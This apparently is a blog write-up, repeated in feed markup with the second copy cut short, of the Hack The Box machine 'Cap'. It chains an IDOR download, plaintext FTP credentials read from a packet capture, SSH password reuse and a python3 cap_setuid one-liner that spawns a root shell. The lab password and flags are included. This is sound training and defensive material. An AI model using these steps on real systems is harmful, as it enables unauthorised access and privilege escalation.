&lt;p&gt;If you're new to Hack The Box or prepping for OSCP, Cap is the box you want to do early. Not because it's flashy — it isn't. No exotic CVEs, no complex buffer overflows. Just three fundamental misconfigurations chained together cleanly:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An &lt;strong&gt;IDOR vulnerability&lt;/strong&gt; on a web app storing network captures with sequential, predictable IDs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plaintext FTP credentials&lt;/strong&gt; leaking inside a packet capture&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Linux capability misconfiguration&lt;/strong&gt; (&lt;code&gt;cap_setuid&lt;/code&gt; on Python) that gives instant root&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These aren't niche CTF tricks. IDOR is in the OWASP Top 10. FTP is still running on production networks in 2026. Linux capabilities are regularly misconfigured. Cap teaches you to recognize all three.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Start with nmap — always.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_services.txt 10.129.12.255
nmap &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt; 10000 &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_allports.txt 10.129.12.255
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three ports open:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP (vsftpd 3.0.3)&lt;/td&gt;
&lt;td&gt;Anonymous login disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH (OpenSSH 8.2p1)&lt;/td&gt;
&lt;td&gt;Target once we have credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP (Gunicorn)&lt;/td&gt;
&lt;td&gt;Python WSGI app — main attack surface&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;FTP with anonymous login disabled means nothing to do there without credentials. SSH is a waiting room. The web app is where we start.&lt;/p&gt;




&lt;h2&gt;
  
  
  Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Web App
&lt;/h3&gt;

&lt;p&gt;Port 80 serves what calls itself a &lt;strong&gt;"Security Dashboard"&lt;/strong&gt; — ironic, given what we're about to do to it. It has three sections: IP Config, Network Status, and a &lt;code&gt;/capture&lt;/code&gt; endpoint that runs a 5-second live packet capture on the server.&lt;/p&gt;

&lt;p&gt;The capture flow works like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Browse to &lt;code&gt;/capture&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The server captures 5 seconds of network traffic, saves it to disk&lt;/li&gt;
&lt;li&gt;Redirects you to &lt;code&gt;/data/&amp;lt;id&amp;gt;&lt;/code&gt; — where &lt;code&gt;&amp;lt;id&amp;gt;&lt;/code&gt; is a sequential integer starting at 1&lt;/li&gt;
&lt;li&gt;File is downloadable at &lt;code&gt;/download/&amp;lt;id&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Two things jump out immediately:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First:&lt;/strong&gt; The nav bar shows the logged-in username — &lt;code&gt;nathan&lt;/code&gt;. Free username, no brute force required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second:&lt;/strong&gt; Sequential integer IDs on a resource endpoint with no visible access control. That's IDOR waiting to be tested.&lt;/p&gt;

&lt;h3&gt;
  
  
  Testing for IDOR
&lt;/h3&gt;

&lt;p&gt;After triggering a capture, the app redirects to &lt;code&gt;/data/1&lt;/code&gt;. The obvious question: what's at &lt;code&gt;/data/0&lt;/code&gt;?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://10.129.12.255/data/0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It returns a valid page with a download link for &lt;code&gt;/download/0&lt;/code&gt;. No authentication error. No ownership check. Just... the file.&lt;/p&gt;

&lt;p&gt;This is a capture from the box's own setup — created before any player connected, containing real traffic from the server's initialization. We can download it freely because the app never checks whether the resource belongs to the requesting user.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;IDOR in the real world:&lt;/strong&gt; Insecure Direct Object References show up constantly in bug bounties and internal assessments. The pattern is always the same — a resource ID in a URL, no server-side ownership validation. The fix is always the same too: check on the server that the authenticated user owns the object they're requesting. Never trust the client to only ask for what they're allowed to see.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Cracking Open the PCAP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://10.129.12.255/download/0 &lt;span class="nt"&gt;-O&lt;/span&gt; capture0.pcap
tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; capture0.pcap &lt;span class="nt"&gt;-A&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"USER&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;PASS"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside the PCAP is an FTP session. FTP sends everything in plaintext over TCP — the handshake, the commands, the credentials. All of it. The capture caught the server authenticating to its own FTP service during setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;USER nathan
PASS Buck3tH4TF0RM3!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Credentials recovered without touching a wordlist or running a single exploit.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why FTP is still dangerous:&lt;/strong&gt; FTP has existed since 1971 and has never had transport encryption. Every byte — including your username and password — travels as readable ASCII. SFTP and FTPS exist precisely because of this. In internal network assessments, being on the same network segment as FTP traffic, or finding a PCAP that captured it, is frequently enough to gain initial access. If you're doing an internal pentest and you see port 21 open on a server, start sniffing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  SSH as Nathan
&lt;/h3&gt;

&lt;p&gt;Password reuse. The FTP credentials work directly on SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh nathan@10.129.12.255
&lt;span class="c"&gt;# Password: Buck3tH4TF0RM3!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell as &lt;code&gt;nathan&lt;/code&gt;. User flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;user.txt: ea34748abba367e85ac0aec4f9932bad
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; — nothing. No SUID binaries worth pursuing. Time to check &lt;strong&gt;Linux capabilities&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There it is.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding cap_setuid
&lt;/h3&gt;

&lt;p&gt;Linux capabilities are a deliberate design choice — they allow granting specific privileges to a process without making it fully root. The idea is fine-grained access control: give a web server the ability to bind to port 80 (&lt;code&gt;cap_net_bind_service&lt;/code&gt;) without giving it full administrative access.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cap_setuid&lt;/code&gt; lets a process call &lt;code&gt;setuid()&lt;/code&gt; to &lt;strong&gt;change its effective user ID to any UID on the system — including UID 0, which is root&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When this capability is attached to an interpreter like Python, it means anyone who can run that interpreter can invoke &lt;code&gt;setuid(0)&lt;/code&gt; from inside a script. No password. No sudo. No exploit. The OS hands you root because the binary is marked as allowed to ask for it.&lt;/p&gt;

&lt;p&gt;This is documented on &lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins&lt;/a&gt; and comes up regularly in CTFs and real assessments. Admins sometimes set capabilities thinking it's a safer alternative to sudo — but &lt;code&gt;cap_setuid&lt;/code&gt; on any general-purpose interpreter is functionally equivalent to unrestricted root access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploitation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import os; os.setuid(0); os.system('/bin/bash')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking it down:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;os.setuid(0)&lt;/code&gt; — changes the process's UID to 0 (root), permitted because &lt;code&gt;cap_setuid&lt;/code&gt; is set on &lt;code&gt;/usr/bin/python3.8&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;os.system('/bin/bash')&lt;/code&gt; — spawns a bash shell that inherits the root UID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Root shell. Instant.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root.txt: 3a0175a10c1007605d6b3813fb2cb37b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Full Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap
  └─ port 80 (Gunicorn web app)
       └─ /capture → IDOR on /data/0
            └─ download PCAP
                 └─ tcpdump → FTP creds (plaintext)
                      └─ ssh as nathan (password reuse)
                           └─ getcap -r /
                                └─ cap_setuid on python3.8
                                     └─ setuid(0) → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Always fuzz sequential IDs.&lt;/strong&gt;&lt;br&gt;
When you see &lt;code&gt;/data/1&lt;/code&gt; or &lt;code&gt;/item/42&lt;/code&gt; in a URL, the first thing you test is &lt;code&gt;/data/0&lt;/code&gt;, &lt;code&gt;/data/2&lt;/code&gt;, and IDs belonging to other users. If the app doesn't enforce ownership server-side, you have IDOR. This is one of the highest-yield, lowest-effort checks in web app testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. FTP is a credential gift.&lt;/strong&gt;&lt;br&gt;
Anonymous login disabled doesn't mean FTP is useless. If you can capture traffic (via a PCAP, MITM position, or a misconfigured network tap), FTP credentials come out in plaintext. Always check port 21 on internal assessments and look for PCAPs anywhere on the filesystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Password reuse is the rule, not the exception.&lt;/strong&gt;&lt;br&gt;
One set of leaked credentials should always be tried on every other service: SSH, RDP, VPN, admin panels. Nathan's FTP password working on SSH is cliché in CTFs because it's realistic. Password reuse is endemic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. &lt;code&gt;getcap -r /&lt;/code&gt; belongs on your privesc checklist.&lt;/strong&gt;&lt;br&gt;
Run it right after &lt;code&gt;sudo -l&lt;/code&gt;. &lt;code&gt;cap_setuid&lt;/code&gt; on any interpreter (Python, Perl, Ruby, Node) is root. GTFOBins has one-liners for all of them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Port scan and service fingerprinting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;curl&lt;/code&gt; / browser&lt;/td&gt;
&lt;td&gt;Web app enumeration, IDOR testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wget&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download the vulnerable PCAP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tcpdump&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parse PCAP and extract plaintext FTP credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Initial access with recovered credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getcap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Identify Linux capability misconfigurations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;python3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exploit &lt;code&gt;cap_setuid&lt;/code&gt; for root shell&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins — Python capabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for-Insecure_Direct_Object_References" rel="noopener noreferrer"&gt;OWASP — IDOR Testing Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://man7.org/linux/man-pages/man7/capabilities.7.html" rel="noopener noreferrer"&gt;Linux Capabilities — man7.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc959" rel="noopener noreferrer"&gt;FTP Protocol — RFC 959&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;I'm working through HTB machines as part of my OSCP prep. Follow along for writeups, notes, and lessons learned — one machine at a time.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Target: OSCP by early 2027. Current: building the reps.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>htb</category>
      <category>oscp</category>
      <category>ctf</category>
      <category>linux</category>
    </item>
    <item>
      <title>HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Sun, 28 Jun 2026 01:14:09 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-1fm1</link>
      <guid>https://dev.to/pyhacksecgp/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-1fm1</guid>
      <description>&lt;p&gt;&lt;strong&gt;Hack The Box | Easy | Linux | Retired&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;If you're new to Hack The Box or prepping for OSCP, Cap is the box you want to do early. Not because it's flashy — it isn't. No exotic CVEs, no complex buffer overflows. Just three fundamental misconfigurations chained together cleanly:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An &lt;strong&gt;IDOR vulnerability&lt;/strong&gt; on a web app storing network captures with sequential, predictable IDs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plaintext FTP credentials&lt;/strong&gt; leaking inside a packet capture&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Linux capability misconfiguration&lt;/strong&gt; (&lt;code&gt;cap_setuid&lt;/code&gt; on Python) that gives instant root&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These aren't niche CTF tricks. IDOR is in the OWASP Top 10. FTP is still running on production networks in 2026. Linux capabilities are regularly misconfigured. Cap teaches you to recognize all three.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Start with nmap — always.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_services.txt 10.129.12.255
nmap &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt; 10000 &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_allports.txt 10.129.12.255
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three ports open:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP (vsftpd 3.0.3)&lt;/td&gt;
&lt;td&gt;Anonymous login disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH (OpenSSH 8.2p1)&lt;/td&gt;
&lt;td&gt;Target once we have credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP (Gunicorn)&lt;/td&gt;
&lt;td&gt;Python WSGI app — main attack surface&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;FTP with anonymous login disabled means nothing to do there without credentials. SSH is a waiting room. The web app is where we start.&lt;/p&gt;




&lt;h2&gt;
  
  
  Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Web App
&lt;/h3&gt;

&lt;p&gt;Port 80 serves what calls itself a &lt;strong&gt;"Security Dashboard"&lt;/strong&gt; — ironic, given what we're about to do to it. It has three sections: IP Config, Network Status, and a &lt;code&gt;/capture&lt;/code&gt; endpoint that runs a 5-second live packet capture on the server.&lt;/p&gt;

&lt;p&gt;The capture flow works like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Browse to &lt;code&gt;/capture&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The server captures 5 seconds of network traffic, saves it to disk&lt;/li&gt;
&lt;li&gt;Redirects you to &lt;code&gt;/data/&amp;lt;id&amp;gt;&lt;/code&gt; — where &lt;code&gt;&amp;lt;id&amp;gt;&lt;/code&gt; is a sequential integer starting at 1&lt;/li&gt;
&lt;li&gt;File is downloadable at &lt;code&gt;/download/&amp;lt;id&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Two things jump out immediately:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First:&lt;/strong&gt; The nav bar shows the logged-in username — &lt;code&gt;nathan&lt;/code&gt;. Free username, no brute force required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second:&lt;/strong&gt; Sequential integer IDs on a resource endpoint with no visible access control. That's IDOR waiting to be tested.&lt;/p&gt;

&lt;h3&gt;
  
  
  Testing for IDOR
&lt;/h3&gt;

&lt;p&gt;After triggering a capture, the app redirects to &lt;code&gt;/data/1&lt;/code&gt;. The obvious question: what's at &lt;code&gt;/data/0&lt;/code&gt;?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://10.129.12.255/data/0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It returns a valid page with a download link for &lt;code&gt;/download/0&lt;/code&gt;. No authentication error. No ownership check. Just... the file.&lt;/p&gt;

&lt;p&gt;This is a capture from the box's own setup — created before any player connected, containing real traffic from the server's initialization. We can download it freely because the app never checks whether the resource belongs to the requesting user.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;IDOR in the real world:&lt;/strong&gt; Insecure Direct Object References show up constantly in bug bounties and internal assessments. The pattern is always the same — a resource ID in a URL, no server-side ownership validation. The fix is always the same too: check on the server that the authenticated user owns the object they're requesting. Never trust the client to only ask for what they're allowed to see.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Cracking Open the PCAP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://10.129.12.255/download/0 &lt;span class="nt"&gt;-O&lt;/span&gt; capture0.pcap
tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; capture0.pcap &lt;span class="nt"&gt;-A&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"USER&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;PASS"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside the PCAP is an FTP session. FTP sends everything in plaintext over TCP — the handshake, the commands, the credentials. All of it. The capture caught the server authenticating to its own FTP service during setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;USER nathan
PASS Buck3tH4TF0RM3!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Credentials recovered without touching a wordlist or running a single exploit.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why FTP is still dangerous:&lt;/strong&gt; FTP has existed since 1971 and has never had transport encryption. Every byte — including your username and password — travels as readable ASCII. SFTP and FTPS exist precisely because of this. In internal network assessments, being on the same network segment as FTP traffic, or finding a PCAP that captured it, is frequently enough to gain initial access. If you're doing an internal pentest and you see port 21 open on a server, start sniffing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  SSH as Nathan
&lt;/h3&gt;

&lt;p&gt;Password reuse. The FTP credentials work directly on SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh nathan@10.129.12.255
&lt;span class="c"&gt;# Password: Buck3tH4TF0RM3!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell as &lt;code&gt;nathan&lt;/code&gt;. User flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;user.txt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ea34748abba367e85ac0aec4f9932bad&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; — nothing. No SUID binaries worth pursuing. Time to check &lt;strong&gt;Linux capabilities&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There it is.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding cap_setuid
&lt;/h3&gt;

&lt;p&gt;Linux capabilities are a deliberate design choice — they allow granting specific privileges to a process without making it fully root. The idea is fine-grained access control: give a web server the ability to bind to port 80 (&lt;code&gt;cap_net_bind_service&lt;/code&gt;) without giving it full administrative access.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cap_setuid&lt;/code&gt; lets a process call &lt;code&gt;setuid()&lt;/code&gt; to &lt;strong&gt;change its effective user ID to any UID on the system — including UID 0, which is root&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When this capability is attached to an interpreter like Python, it means anyone who can run that interpreter can invoke &lt;code&gt;setuid(0)&lt;/code&gt; from inside a script. No password. No sudo. No exploit. The OS hands you root because the binary is marked as allowed to ask for it.&lt;/p&gt;

&lt;p&gt;This is documented on &lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins&lt;/a&gt; and comes up regularly in CTFs and real assessments. Admins sometimes set capabilities thinking it's a safer alternative to sudo — but &lt;code&gt;cap_setuid&lt;/code&gt; on any general-purpose interpreter is functionally equivalent to unrestricted root access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploitation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import os; os.setuid(0); os.system('/bin/bash')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking it down:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;os.setuid(0)&lt;/code&gt; — changes the process's UID to 0 (root), permitted because &lt;code&gt;cap_setuid&lt;/code&gt; is set on &lt;code&gt;/usr/bin/python3.8&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;os.system('/bin/bash')&lt;/code&gt; — spawns a bash shell that inherits the root UID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Root shell. Instant.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;root.txt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;3a0175a10c1007605d6b3813fb2cb37b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Full Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap
  └─ port 80 (Gunicorn web app)
       └─ /capture → IDOR on /data/0
            └─ download PCAP
                 └─ tcpdump → FTP creds (plaintext)
                      └─ ssh as nathan (password reuse)
                           └─ getcap -r /
                                └─ cap_setuid on python3.8
                                     └─ setuid(0) → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Always fuzz sequential IDs.&lt;/strong&gt;&lt;br&gt;
When you see &lt;code&gt;/data/1&lt;/code&gt; or &lt;code&gt;/item/42&lt;/code&gt; in a URL, the first thing you test is &lt;code&gt;/data/0&lt;/code&gt;, &lt;code&gt;/data/2&lt;/code&gt;, and IDs belonging to other users. If the app doesn't enforce ownership server-side, you have IDOR. This is one of the highest-yield, lowest-effort checks in web app testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. FTP is a credential gift.&lt;/strong&gt;&lt;br&gt;
